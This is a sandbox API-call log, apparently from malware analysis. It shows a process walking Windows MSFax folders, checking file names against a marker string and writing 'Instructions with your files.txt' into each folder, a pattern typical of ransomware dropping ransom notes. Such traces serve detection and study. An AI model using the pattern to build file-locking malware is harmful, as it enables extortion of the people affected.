[0125.733] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0125.734] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\.") returned 59
[0125.734] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.734] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\..") returned 60
[0125.734] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0125.734] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\Instructions with your files.txt") returned 90
[0125.734] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\ActivityLog\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\activitylog\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0125.734] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0125.735] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0125.735] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0125.735] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0125.735] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0125.735] CloseHandle (hObject=0x114) returned 1
[0125.735] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0125.735] GetProcessHeap () returned 0x810000
[0125.735] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0125.735] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Coverpages", cAlternateFileName="COMMON~1")) returned 1
[0125.735] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages") returned 63
[0125.735] GetProcessHeap () returned 0x810000
[0125.736] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0125.736] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*") returned 65
[0125.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0125.736] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\.") returned 65
[0125.736] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.736] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\..") returned 66
[0125.736] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0125.736] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US") returned 69
[0125.736] GetProcessHeap () returned 0x810000
[0125.736] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89ac08
[0125.736] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*") returned 71
[0125.736] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0125.736] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\.") returned 71
[0125.736] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.736] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\..") returned 72
[0125.736] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x28aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="confident.cov", cAlternateFileName="")) returned 1
[0125.736] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\confident.cov") returned 83
[0125.736] StrStrIW (lpFirst="confident.cov", lpSrch="SDfghjkl") returned 0x0
[0125.736] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2a09, dwReserved0=0x0, dwReserved1=0x0, cFileName="fyi.cov", cAlternateFileName="")) returned 1
[0125.736] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\fyi.cov") returned 77
[0125.736] StrStrIW (lpFirst="fyi.cov", lpSrch="SDfghjkl") returned 0x0
[0125.736] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3aa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="generic.cov", cAlternateFileName="")) returned 1
[0125.737] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\generic.cov") returned 81
[0125.737] StrStrIW (lpFirst="generic.cov", lpSrch="SDfghjkl") returned 0x0
[0125.737] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 1
[0125.737] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\urgent.cov") returned 80
[0125.737] StrStrIW (lpFirst="urgent.cov", lpSrch="SDfghjkl") returned 0x0
[0125.737] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe3998d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x10b3266c, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfe3998d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2886, dwReserved0=0x0, dwReserved1=0x0, cFileName="urgent.cov", cAlternateFileName="")) returned 0
[0125.737] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\Instructions with your files.txt") returned 102
[0125.737] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\en-US\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0125.739] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0125.740] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0125.740] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0125.740] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0125.740] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0125.740] CloseHandle (hObject=0x118) returned 1
[0125.740] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0125.740] GetProcessHeap () returned 0x810000
[0125.740] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89ac08 | out: hHeap=0x810000) returned 1
[0125.740] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21cf2d38, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
[0125.740] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\Instructions with your files.txt") returned 96
[0125.740] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Common Coverpages\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\common coverpages\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0125.741] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0125.741] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0125.741] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0125.742] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0125.742] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0125.742] CloseHandle (hObject=0x114) returned 1
[0125.742] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0125.742] GetProcessHeap () returned 0x810000
[0125.742] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0125.742] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inbox", cAlternateFileName="")) returned 1
[0125.742] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox") returned 51
[0125.742] GetProcessHeap () returned 0x810000
[0125.742] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0125.742] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*") returned 53
[0125.742] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0125.746] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\.") returned 53
[0125.747] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0125.747] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\..") returned 54
[0125.747] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0125.747] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\Instructions with your files.txt") returned 84
[0125.747] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Inbox\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\windows nt\\msfax\\inbox\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0125.747] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0125.748] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0125.748] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0125.748] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0125.748] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0125.748] CloseHandle (hObject=0x114) returned 1
[0125.748] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0125.748] GetProcessHeap () returned 0x810000
[0125.748] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0125.748] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Queue", cAlternateFileName="")) returned 1
[0125.748] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue") returned 51
[0125.748] GetProcessHeap () returned 0x810000
[0125.748] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0125.748] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*") returned 53
[0125.748] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0125.749] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Windows NT\\MSFax\\Queue\\.") returned 53
[0125.749] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
